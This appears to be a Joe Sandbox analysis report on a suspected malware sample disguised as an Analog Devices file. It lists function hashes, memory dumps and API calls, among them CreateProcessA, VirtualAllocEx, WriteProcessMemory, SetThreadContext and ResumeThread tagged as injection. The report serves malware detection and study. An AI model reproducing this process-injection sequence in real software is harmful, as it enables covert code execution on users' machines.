API String ID: 4045702744-0
Opcode ID: 21644dc461e17c184ab23e9b8ca1607b74b27591d762e838d52aee4660b45f3b
Instruction ID: edda45edb35fde8433b36ffd3ef84c2269d30266a9ece54bd624009aaa599c45
Opcode Fuzzy Hash: 21644dc461e17c184ab23e9b8ca1607b74b27591d762e838d52aee4660b45f3b
Instruction Fuzzy Hash: 34215870901214EFCB00DFA5CA48E9EBBF8FF98704F64456AF405B72A0CB7859458AA9

Function 00420F00 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(00000000,-00000009,?,6D03E251,0041FB86), ref: 00420F20
__vbaI2I4.MSVBVM60(00000000,-00000009,?,6D03E251,0041FB86), ref: 00420F27
__vbaGenerateBoundsError.MSVBVM60(?,6D03E251,0041FB86), ref: 00420F4D
__vbaI2I4.MSVBVM60(?,6D03E251,0041FB86), ref: 00420F54
__vbaErrorOverflow.MSVBVM60(?,6D03E251,0041FB86), ref: 00420F72

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Overflow
String ID:
API String ID: 2760075901-0
Opcode ID: 8669df199ba3d32dd003e43707a03247d773872a69a830caabf4d64443806dda
Instruction ID: 93c54f63ccc5981ea9e36820505c7139a37b1fec0ba499ff43ef88027195e6a9
Opcode Fuzzy Hash: 8669df199ba3d32dd003e43707a03247d773872a69a830caabf4d64443806dda
Instruction Fuzzy Hash: D9F0F637B4416052C364477DEA8559AB3D7AB8C783BC20177E248576738DB858C143AD

Function 0042ABDE Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(?,?), ref: 0042AC13
__vbaExitProc.MSVBVM60(?,?), ref: 0042AC21
__vbaAryDestruct.MSVBVM60(00000000,?,0042AC5E), ref: 0042AC53
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042AC5B

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Destruct$ExitProc_adj_fdiv_m64
String ID:
API String ID: 3272950176-0
Opcode ID: 0a605c6e4ccc50bbb14004817ee39ccc39d0ef59e952a399e43dad9ab60bf25d
Instruction ID: 432503350bff8fd263bfd7ee333f73b5f20f6540c55ce1ae75e3df8e8a0f3385
Opcode Fuzzy Hash: 0a605c6e4ccc50bbb14004817ee39ccc39d0ef59e952a399e43dad9ab60bf25d
Instruction Fuzzy Hash: 74F01730E48128EBDB209B51ED44BE8BB38BB54301F9080EAE58471094CBB95EE19F5A

Analysis Process: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, Parent PID: 3180COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	177
Total number of Limit Nodes:	13

Executed Functions

Function 07B46BFC Relevance: 1.8, APIs: 1, Instructions: 250
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07B46E3E

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a4fdb3c388edb2d23e07340a7e80361955275b16816c2e2b11b93b6828997b34
Instruction ID: edfcedb20aa1c24ef30512f288594a33a5f031a5f33e3161c3ed7c798a57e0a1
Opcode Fuzzy Hash: a4fdb3c388edb2d23e07340a7e80361955275b16816c2e2b11b93b6828997b34
Instruction Fuzzy Hash: BEA16AB1D0061ADFEB20CF68C8417EDBBF2EF49314F1481A9E858A7240DB759985DF92

Function 07B46C08 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07B46E3E

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 31e5a4c2a6b08382e7e1b5e7f46af57e6645f6b0d4844505b6b9124424502b97
Instruction ID: e8526e522faab0f83d692214714fcb40fb632a6b264a494f0ac4c9cbd77998d8
Opcode Fuzzy Hash: 31e5a4c2a6b08382e7e1b5e7f46af57e6645f6b0d4844505b6b9124424502b97
Instruction Fuzzy Hash: 329159B1D0061ADFEB24CF68C8417EDBBB2FF49314F1481A9E858A7240DB749985DF92

Function 00C78044 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00C78101

Memory Dump Source

Source File: 00000001.00000002.1745475129.0000000000C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c70000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 67267bbd350ba31a37e5e9e4ea0588f8f860bbd43aa47ee8d93bca91a07e33a2
Instruction ID: e6584ce430a7592c6a86c677a95cda7177d544dfed2c453b3613ae992343b3c0
Opcode Fuzzy Hash: 67267bbd350ba31a37e5e9e4ea0588f8f860bbd43aa47ee8d93bca91a07e33a2
Instruction Fuzzy Hash: F441E2B1C00759CFDB24CFA9C944BDDBBB5BF49304F2480AAD408AB255DB75694ACF90

Function 00C76754 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00C78101

Memory Dump Source

Source File: 00000001.00000002.1745475129.0000000000C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c70000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 149a443a63c11cb9dd46dd977c366a0d34908176ed7a3b90a6ff9b1818fd200b
Instruction ID: 81260bb2e6ee4d1b0d05859251ac6ba979f76ba73af0c8778a8c3d500e4dec4b
Opcode Fuzzy Hash: 149a443a63c11cb9dd46dd977c366a0d34908176ed7a3b90a6ff9b1818fd200b
Instruction Fuzzy Hash: 8A41E2B0C00719CFDB24CFA9C848BDDBBB5BF49304F2480AAD508AB255DB75694ACF90

Function 06DD3D08 Relevance: 1.6, APIs: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1765234252.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6dd0000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: ca28e3f2915187b3d2c10c8c7dbaba4d110b9a1ff0632a8651b71dfd8c35ff8c
Instruction ID: 2c0113dafb2817bd9392a81488d21f1d97d870d281f9f55f1bc69cd0cc1b3484
Opcode Fuzzy Hash: ca28e3f2915187b3d2c10c8c7dbaba4d110b9a1ff0632a8651b71dfd8c35ff8c
Instruction Fuzzy Hash: 4F318971904358DFCB11DFAAD804ADEBFF8EF4A310F14845AE954AB221C335A850DFA1

Function 07B46979 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07B46A10

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d3b0d3ad8e026d193c533d52d701c9291fa0ba7bbf5ba10d3abd08241dd9a59d
Instruction ID: 635a1604cf0ba695b69ae6d6d0da3bac1b5a1b0c413996adbee7ec95202ae9bb
Opcode Fuzzy Hash: d3b0d3ad8e026d193c533d52d701c9291fa0ba7bbf5ba10d3abd08241dd9a59d
Instruction Fuzzy Hash: 712157B2900359DFDB10CFA9C884BEEBBF5FF48314F10842AE959A7240C7789944DBA5

Function 07B46980 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07B46A10

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 221dc2c9b487cbc8cbd01d5eaa58e66951c29efb8c22d149dad25ef1dda9ae82
Instruction ID: 6e88526fd293f38d635fcfb50ed8ab97e5217b4aad752a341cf1bec04cdd8331
Opcode Fuzzy Hash: 221dc2c9b487cbc8cbd01d5eaa58e66951c29efb8c22d149dad25ef1dda9ae82
Instruction Fuzzy Hash: 322166B2900319DFDB10CFA9C884BEEBBF4FF48314F10842AE959A7240C7789944DBA4

Function 07B463A8 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07B4642E

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1fb125e07e971c8dd4c6739a9d36ca3aa4bfd23e219df8cadeb51e67913385d8
Instruction ID: 6bda587c1f9e2684923a3a53b32287e85a716985f8756cac8b98cd45c730c2c7
Opcode Fuzzy Hash: 1fb125e07e971c8dd4c6739a9d36ca3aa4bfd23e219df8cadeb51e67913385d8
Instruction Fuzzy Hash: 172159B19003198FDB10DFAAC4857EEBBF4EF49328F148429D859A7240C7789585CFA5

Function 07B46A68 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07B46AF0

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 5db074771b3cdc51283b5a9cd500bf3ccc2b0629c3dacef12cd7203b5104ec0a
Instruction ID: 346d97de48aca4461b4bcb96a0f31102e2f41c233334a407d3af37c6e724c562
Opcode Fuzzy Hash: 5db074771b3cdc51283b5a9cd500bf3ccc2b0629c3dacef12cd7203b5104ec0a
Instruction Fuzzy Hash: 362136B18002599FDB10CFAAC884AEEFBF5FF48314F108429E959A7250D7349544DBA5

Function 07B4A3AA Relevance: 1.6, APIs: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07B4A375

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c625b40474db71cc9e03d611dc3abcd1c473075c8755d0351c0bcb186dcfb664
Instruction ID: b9cec425a7294f4d6c140c070155ccab78670ed0faae4265b5fa8b0db0141a23
Opcode Fuzzy Hash: c625b40474db71cc9e03d611dc3abcd1c473075c8755d0351c0bcb186dcfb664
Instruction Fuzzy Hash: 3A21FDF2A852168FEB20DFA8E4083EEBBF0EF45314F1480A9C445BB240CB395944DBA1

Function 07B463B0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07B4642E

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 741bda521953fd09932f8b8048a073f73f3351a7537b467abbdcc7838cea7ac4
Instruction ID: e29e73ca7799c618d6ca82ceeb2b38e7086f9c8831fb56261f0f05bc6c70ac64
Opcode Fuzzy Hash: 741bda521953fd09932f8b8048a073f73f3351a7537b467abbdcc7838cea7ac4
Instruction Fuzzy Hash: B52138B19003198FDB10DFAAC4857EEBBF4EF49324F108429D459A7240C7789985CFA5

Function 07B46A70 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07B46AF0

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 81e48c989c56973c99b56af2647f6b4eff9e03ba0f3e5e9951cb54420cd0d9a4
Instruction ID: 09ad09f9719de6bb3091a4273d9a5dd1f585a611a0f7e2d28a6fd40b21611a5d
Opcode Fuzzy Hash: 81e48c989c56973c99b56af2647f6b4eff9e03ba0f3e5e9951cb54420cd0d9a4
Instruction Fuzzy Hash: 0F2159B1C003599FDB10CFAAC880ADEFBF4FF48310F108429E959A7250D7349544CBA4

Function 07B468B9 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07B4692E

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f8d142ab07825cd3aa843aaefdaf84b4a4a48878a6e973381712736eb71cd6a5
Instruction ID: e3f5ca5e51f2adc03fb900bf1366877b3d462ccd87acc21bcf7a79fd961633a5
Opcode Fuzzy Hash: f8d142ab07825cd3aa843aaefdaf84b4a4a48878a6e973381712736eb71cd6a5
Instruction Fuzzy Hash: DD1189B28002499FCB10DFAAC844BDEFFF5EF88324F108419E459A7250C775A584CFA1

Function 06DD138C Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,06DD3D22,?,?,?,?,?), ref: 06DD3DC7

Memory Dump Source

Source File: 00000001.00000002.1765234252.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6dd0000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: aec426a6327e41fa3a3d28a2b79791a5fc3b9b774ab5d10d033b30ad1bd65e84
Instruction ID: fc145f55dcda30fa9dc6c5f82cae5401d8a2be85ad073691e5c8c0bdd4a8403b
Opcode Fuzzy Hash: aec426a6327e41fa3a3d28a2b79791a5fc3b9b774ab5d10d033b30ad1bd65e84
Instruction Fuzzy Hash: 7E1156B1900349DFDB10DF9AC844AEEBFF8EB48320F14841AE954A7220C375A954CFA5

Function 07B45A89 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(00000007), ref: 07B45AF2

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 095d68d3df032909e5d74a0589d1bdd31657f59385307ec490e8bc3c7cd14e80
Instruction ID: e98777e580d73625f0330590128b0d3d0154d8c70069783d09d92d6938edabe4
Opcode Fuzzy Hash: 095d68d3df032909e5d74a0589d1bdd31657f59385307ec490e8bc3c7cd14e80
Instruction Fuzzy Hash: 181158B19002498FDB20DFAAC884BEEFFF8EF88324F208419D459A7240C675A544CBA5

Function 07B468C0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07B4692E

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 05229afa4798ec480c282da42053be1d7ced32876f639aca18a86cc8b0fbcda2
Instruction ID: 1e3b6e659a6c21e9c9a40c509ef6616698f8add9d77d6d8e81d74a8bc4929303
Opcode Fuzzy Hash: 05229afa4798ec480c282da42053be1d7ced32876f639aca18a86cc8b0fbcda2
Instruction Fuzzy Hash: 171137B29002499FDB10DFAAC844BDEFFF5EF88324F108419E559A7250C775A544CFA4

Function 07B45A90 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(00000007), ref: 07B45AF2

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b62d1366f1a109ba71c3a205444c1e68b7b2c9ce27d97d40a4d43d1d2c9d3d8f
Instruction ID: e9796f39af69f05477f98fcf23b17072972bfc25574330c0c7321dcf077628eb
Opcode Fuzzy Hash: b62d1366f1a109ba71c3a205444c1e68b7b2c9ce27d97d40a4d43d1d2c9d3d8f
Instruction Fuzzy Hash: 741136B19002498FDB20DFAAC8857DEFBF4EF88324F208429D459A7250CB75A944CFA4

Function 07B4A310 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07B4A375

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 51d4f8d51e8eddac4655b08581640a8bc71b238adf5950866703bd38cdb83acc
Instruction ID: 513b5abea60eccd54faba3def028db2ae66576567e826b41017fbc9abf050aa8
Opcode Fuzzy Hash: 51d4f8d51e8eddac4655b08581640a8bc71b238adf5950866703bd38cdb83acc
Instruction Fuzzy Hash: 7F1113B6800249DFDB10CF99D885BDEFFF8EB48320F10845AE458A7600C375A584CFA1

Function 07B4844C Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07B4A375

Memory Dump Source

Source File: 00000001.00000002.1766215054.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b40000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: eaac5d76c13275be9c25059a10e5ff7d54e97232a209b333c1d8e0b4c0f3d589
Instruction ID: 5f61c05b5596e06453d8ea2259f6e15678c49245b13eb1ef5cc3e1cc84183b3e
Opcode Fuzzy Hash: eaac5d76c13275be9c25059a10e5ff7d54e97232a209b333c1d8e0b4c0f3d589
Instruction Fuzzy Hash: 9411F5B5800349DFDB10DF99C444BDEFBF8EB49314F108459E955A7210D375A944CFA5

Function 00C7DCB8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00C7DD1E

Memory Dump Source

Source File: 00000001.00000002.1745475129.0000000000C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c70000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b0672d6651bcec277e6ce23d2b0bed60581c2f07a99a52057f000fffdf5204b4
Instruction ID: e84071b0f0b43b3e00144ff8959c60c65b5157883cf09f7adf1a5c46854ddbaa
Opcode Fuzzy Hash: b0672d6651bcec277e6ce23d2b0bed60581c2f07a99a52057f000fffdf5204b4
Instruction Fuzzy Hash: 4711D2B5C002498FDB20CF9AD444ADEFBF4AF88314F10C41AD869B7210D375A545CFA5

Function 00C1D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1744966377.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c1d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d3103d136bbafbf74e7c970b533f2f9dfb7620fa4b66dcd0671dd854d07f4e6
Instruction ID: 369bbfef46d98731bc576a44d0ef162b7f3990b46f4458bafc00bfb04384728c
Opcode Fuzzy Hash: 0d3103d136bbafbf74e7c970b533f2f9dfb7620fa4b66dcd0671dd854d07f4e6
Instruction Fuzzy Hash: D62137B1500240DFCB05DF14D9C0B67BF66FB99318F20C569E80A0B256C336D996EBB2

Function 00C1D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1744966377.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c1d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a34f369274b08296f5e3acbaf823b9170e0504e73e75a2fc90330c3c9e9567a
Instruction ID: 350def7224421c19b6e7454dc20321a81218acf99e23442d4d599367bfa65c3c
Opcode Fuzzy Hash: 5a34f369274b08296f5e3acbaf823b9170e0504e73e75a2fc90330c3c9e9567a
Instruction Fuzzy Hash: 3C213771500204DFDB05DF14D9C0B67BF65FB99324F20C569E90B4B256C33AE896EBA2

Function 00C2D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1745089544.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c2d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a03369d9443ec8be774f5c4b0546da155d1c362072930f4419e8d689ab3d31
Instruction ID: d776403412aa3bf6cdbf30d0034e27b36ea327f36a9bc4dd75c55cac7735b477
Opcode Fuzzy Hash: 46a03369d9443ec8be774f5c4b0546da155d1c362072930f4419e8d689ab3d31
Instruction Fuzzy Hash: C7212671504200EFDB05DF14E9C4B26BBA5FBA4314F30C6ADE80A4B696C736DC46CA61

Function 00C2D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1745089544.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c2d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64ba122855dc905ff3766113eeb746abbc6cb599373478db00106231b2e3d3d
Instruction ID: bfbf37e739df3bf6fd92bc7939412c357f6cbb521e95f4c53d2518e94d4880c5
Opcode Fuzzy Hash: a64ba122855dc905ff3766113eeb746abbc6cb599373478db00106231b2e3d3d
Instruction Fuzzy Hash: F1210475604340DFCB14DF14E9C4B26BFA5FBA4314F20C56DE94A4B6A6C33AD847CA61

Function 00C2D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1745089544.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c2d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681d862e5f6a7238d7164e83e82103321cf3d3ed21cbada4e01b9e2955c893b4
Instruction ID: 869b896d2e9d7e51b443c79ddc5c493e896aea05045b8da22358b0785fa44989
Opcode Fuzzy Hash: 681d862e5f6a7238d7164e83e82103321cf3d3ed21cbada4e01b9e2955c893b4
Instruction Fuzzy Hash: 10218E755093808FCB12CF24D994715BF71EB56314F28C5EAD8498F6A7C33A980ACB62

Function 00C1D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1744966377.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c1d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 8f18f8e8cd3284b55f4f7bb72c4edd17179fbc3f3ef602ac2092593e25ab68b7
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 11112672404240CFCB16CF00D5C4B56BF71FB94324F24C6A9DC0A0B256C33AE99ADBA1

Function 00C1D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1744966377.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c1d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: d9b5052920e4393c64d6d8f920ad9d2e18fb67167e53715be6598262965ffd75
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: EA1103B2404280CFCB06CF10D5C4B56BF72FB94318F24C6A9D80A0B256C336D99ADBA1

Function 00C2D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1745089544.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c2d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
